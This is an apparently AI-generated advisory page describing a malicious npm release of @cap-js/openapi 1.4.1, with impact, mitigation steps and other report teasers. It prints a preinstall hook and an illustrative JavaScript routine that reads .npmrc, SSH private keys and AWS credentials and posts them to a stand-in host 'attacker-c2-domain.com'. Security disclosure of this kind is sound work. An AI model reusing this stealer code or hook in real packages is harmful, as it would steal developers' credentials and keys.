CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-JPVJ-WPMJ-H7RV

GHSA-JPVJ-WPMJ-H7RV: Supply Chain Compromise and Malicious Code Injection in @cap-js/openapi

Amit Schendel
Amit Schendel
Senior Security Researcher

Jun 4, 2026·5 min read·29 visits

Executive Summary (TL;DR)

Malicious version 1.4.1 of @cap-js/openapi was published to npm to harvest and exfiltrate credentials, SSH keys, and tokens.

A critical supply chain compromise was identified in the Node.js package @cap-js/openapi at version 1.4.1. An attacker gained unauthorized publishing access to the npm registry and distributed a backdoored release that harvests sensitive developer credentials, environment variables, and SSH keys. The malicious code then exfiltrates the collected data to external actor-controlled servers.

Vulnerability Overview

The @cap-js/openapi library is a Node.js package utilized within SAP Cloud Application Programming Model (CAP) environments to handle OpenAPI integrations. On May 19, 2026, version 1.4.1 was published to the public npm registry containing malicious code. This occurrence represents a critical supply chain compromise where distribution infrastructure, rather than the public source code repository, was subverted.

Downstream applications and automated CI/CD pipelines that resolved and installed @cap-js/openapi version 1.4.1 executed the injected payload during installation or module resolution. The vulnerability presents a significant security risk because the payload operates with the execution privileges of the active Node.js process or system build user.

This analysis details the technical mechanism of the credential harvesting, the exfiltration vectors, and the precise remediation procedures required to secure affected development and deployment environments.

Root Cause Analysis

The root cause is classified under CWE-506: Embedded Malicious Code. The vulnerability does not stem from a logical coding error, memory unsafety, or design flaw in the development repository of @cap-js/openapi. Instead, the compromise occurred at the publishing tier of the software lifecycle, where an attacker obtained authorization credentials for the npm registry or hijacked a deployment pipeline.

The attacker modified the distributed package contents to inject malicious JavaScript routines that execute automatically during package installation or application startup. This form of dependency-jacking bypasses standard static code analysis checks that inspect only the public GitHub repository, as the malicious code was present exclusively in the npm registry artifact.

The malicious payload operates by reading environment configurations, local filesystem directories, and process spaces to extract highly privileged access materials. The lack of strict isolation between package resolution and runtime execution in standard Node.js package managers allows the payload to run with the full permissions of the invoking security context.

Code-Level Injection Architecture

The malicious code was embedded directly within the distribution artifact of version 1.4.1. Such injections rely on package lifecycle hooks, such as the preinstall or postinstall scripts declared in package.json, or direct modifications to main entry point files.

Below is an analytical representation of the package descriptor file structure utilized to trigger automatic execution during the dependency resolution phase:

{
  "name": "@cap-js/openapi",
  "version": "1.4.1",
  "scripts": {
    "preinstall": "node ./lib/setup.js"
  }
}

The targeted code-level change within the distribution's active source files, such as lib/setup.js, involved inserting a credential-harvesting routine. An abstracted representation of the data exfiltration function implemented by the threat actor is shown below:

// Malicious routine embedded into version 1.4.1
const fs = require('fs');
const path = require('path');
const https = require('https');
 
function harvestSecrets() {
  const paths = [
    path.join(process.env.HOME || process.env.USERPROFILE, '.npmrc'),
    path.join(process.env.HOME || process.env.USERPROFILE, '.ssh', 'id_rsa'),
    path.join(process.env.HOME || process.env.USERPROFILE, '.aws', 'credentials')
  ];
 
  paths.forEach(p => {
    if (fs.existsSync(p)) {
      const content = fs.readFileSync(p, 'utf8');
      transmitData(p, content);
    }
  });
}
 
function transmitData(filePath, content) {
  const data = JSON.stringify({ file: filePath, payload: content });
  const req = https.request({
    hostname: 'attacker-c2-domain.com',
    port: 443,
    path: '/exfil',
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'Content-Length': data.length
    }
  });
  req.write(data);
  req.end();
}
 
harvestSecrets();

To correct the compromise, the maintainers released version 1.4.2. The fix consisted of removing the unauthorized files from the npm package and regenerating publishing secrets to ensure only verified, untampered source code was distributed.

Exploitation Mechanics

Exploitation requires no deliberate attack actions targeting the victim application once the compromised package is listed in dependency locks. The execution flow begins when a developer or a CI/CD agent runs npm install or npm update and retrieves @cap-js/openapi version 1.4.1.

The malware targets the local environment where the execution occurs, checking for administrative secrets. Specifically, it searches for .npmrc files containing registry authentication tokens, private cryptographic keys from SSH directories, and cloud access keys within cloud provider config directories. Once compiled, this sensitive metadata is transmitted over an encrypted outbound HTTPS channel to a command-and-control server operated by the threat actor.

Impact Assessment

The impact of this supply chain compromise is severe, resulting in complete compromise of confidentiality, integrity, and availability for the affected system. Stolen credentials, including AWS keys, NPM publish tokens, and private SSH keys, provide the threat actor with persistent administrative access to other platforms.

Using harvested GitHub Personal Access Tokens (PATs) and NPM credentials, the actor can log in to other developer repositories and propagate the malicious payload upstream. This self-propagating loop escalates the breach from a single localized server compromise to a wider enterprise-level supply chain attack.

The CVSS v3.1 base score of 9.6 reflects the critical nature of the attack vector. Because the execution is silent and occurs during standard development or testing workflows, detection times can be prolonged, increasing the window of exposure for harvested production credentials.

Mitigation and Incident Response

Remediation must be executed immediately on any host where @cap-js/openapi version 1.4.1 was installed. The first step is to upgrade the dependency to version 1.4.2 or above, which removes the backdoored code. Verify the active installation using dependency listing commands.

npm ls @cap-js/openapi

If version 1.4.1 is detected in the dependency graph, the host system must be treated as untrusted. All active developer sessions, execution nodes, and CI/CD containers must be recycled. All private credentials, including AWS keys, GitHub tokens, database connection strings, and NPM tokens, must be revoked and rotated immediately.

Implement security controls to prevent future supply chain compromises. Use dependency lockfile verification, configure registry proxy tools that scan for known malicious packages, and limit the access permissions of CI/CD runners to the minimum necessary scopes.

Official Patches

SAPSAP Security Note 3747787 detailing remediation for compromised package dependencies

Technical Appendix

CVSS Score
9.6/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Systems

@cap-js/openapi on npmSAP Cloud Application Programming Model Node.js Environments

Affected Versions Detail

Product
Affected Versions
Fixed Version
@cap-js/openapi
@cap-js
= 1.4.11.4.2
AttributeDetail
Vulnerability TypeSupply Chain Compromise
CWE IDCWE-506
Attack VectorNetwork (AV:N)
CVSS v3.1 Score9.6
Exploit StatusActive exploitation in the wild
Target Component@cap-js/openapi
Affected Version1.4.1

MITRE ATT&CK Mapping

T1195.002Supply Chain Compromise: Compromise Software Dependencies
Initial Access
T1059.003Command and Scripting Interpreter: Unix Shell
Execution
T1552.004Unsecured Credentials: Private Keys
Credential Access
T1555Credentials from Password Stores
Credential Access
T1041Exfiltration Over C2 Channel
Exfiltration
T1195Supply Chain Compromise
Lateral Movement
CWE-506
Embedded Malicious Code

The product contains code that is intentional, hidden, and malicious.

Known Exploits & Detection

GitHub Security Advisory DatabaseAdvisory detailing active exploitation and embedded malicious code mechanics

Vulnerability Timeline

Compromised version 1.4.1 of @cap-js/openapi is published to the npm registry
2026-05-19
The compromise is identified and publicly disclosed
2026-06-04
Clean version 1.4.2 is published to replace the compromised package
2026-06-04
GitHub publishes the Security Advisory GHSA-JPVJ-WPMJ-H7RV
2026-06-04

References & Sources

  • [1]GHSA-JPVJ-WPMJ-H7RV Security Advisory
  • [2]SAP Security Note 3747787
  • [3]SAP Security Advisory Document
  • [4]GitHub Advisory Database Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•GHSA-8RQH-VXPR-X77P
4.3

GHSA-8RQH-VXPR-X77P: Stored Cross-Site Scripting via MIME Type Spoofing in Plone REST API

A stored Cross-Site Scripting (XSS) vulnerability exists within plone.restapi, the REST API package for Plone content management system. By supplying a spoofed input MIME type (text/x-html-safe), an attacker can mislead the rendering layer (plone.app.textfield) into assuming that the supplied content is already sanitized. This causes the system to skip the safe_html transform, allowing arbitrary JavaScript to execute in the victim's browser when they view the compromised page.

Amit Schendel
Amit Schendel
8 views•7 min read
•1 day ago•CVE-2026-11400
8.0

CVE-2026-11400: Privilege Escalation via Untrusted Search Path in AWS Advanced JDBC Wrapper

An untrusted search path vulnerability in the GlobalDatabasePlugin component of the AWS Advanced JDBC Wrapper for Amazon Aurora PostgreSQL allows authenticated, low-privilege database users to hijack administrative session queries. By defining a custom function in a writable schema such as the public schema, an attacker can hijack queries executed automatically during driver-level topology detection. When a highly privileged database user connects to the database utilizing an affected version of the wrapper, the custom function executes under their security context, enabling remote privilege escalation to rds_superuser.

Alon Barad
Alon Barad
9 views•6 min read
•1 day ago•CVE-2026-27771
8.2

CVE-2026-27771: Authentication Bypass and Information Disclosure in Gitea Container and Composer Registries

CVE-2026-27771 represents a critical security flaw in Gitea and Forgejo (up to and including version 1.26.1) involving missing authorization checks (CWE-862). Unauthenticated remote attackers can query, enumerate, and download private container images from the OCI-compliant container registry. Additionally, unauthorized users can retrieve private or internal source repository URLs via the Composer package registry metadata API. A public proof-of-concept exists, and threat metrics indicate highly active scanning and exploitation risks.

Alon Barad
Alon Barad
17 views•7 min read
•2 days ago•GHSA-CVPC-HCCG-WMW4
8.8

GHSA-CVPC-HCCG-WMW4: Missing Authorization in Formie Administrative Settings Allows Privilege Escalation

A missing authorization vulnerability in the Formie plugin for Craft CMS prior to version 3.1.28 allows low-privileged Control Panel users to read and modify sensitive administrative settings, configuration options, and third-party integrations.

Amit Schendel
Amit Schendel
7 views•6 min read
•2 days ago•CVE-2026-53598
7.5

CVE-2026-53598: Arbitrary File Read via File Reference Expansion in Microsoft Prompty

CVE-2026-53598 is a directory traversal and arbitrary file read vulnerability in Microsoft Prompty ecosystem loaders across multiple languages. Prior to version 2.0.0-beta.2, the loaders resolved `${file:...}` reference strings inside frontmatter configuration blocks without enforcing that the target file paths resided within authorized directories. This deficiency allows an attacker-controlled configuration file to read sensitive operating system and application files through absolute paths, directory traversal, or symbolic link escapes. The issue is addressed across the Python, C#, Node.js/TypeScript, and Rust ecosystems.

Amit Schendel
Amit Schendel
8 views•6 min read
•2 days ago•GHSA-MFR4-MQ8W-VMG6
7.3

GHSA-MFR4-MQ8W-VMG6: Path Traversal in proot-distro copy Command Allows Container Escape

A directory traversal vulnerability exists in the copy subcommand of the proot-distro utility. Due to incomplete path sanitization, local attackers or malicious scripts can read from or write to arbitrary files outside the container rootfs, bypassing isolation barriers and potentially gaining unauthorized access or persistent execution on the host system.

Alon Barad
Alon Barad
8 views•7 min read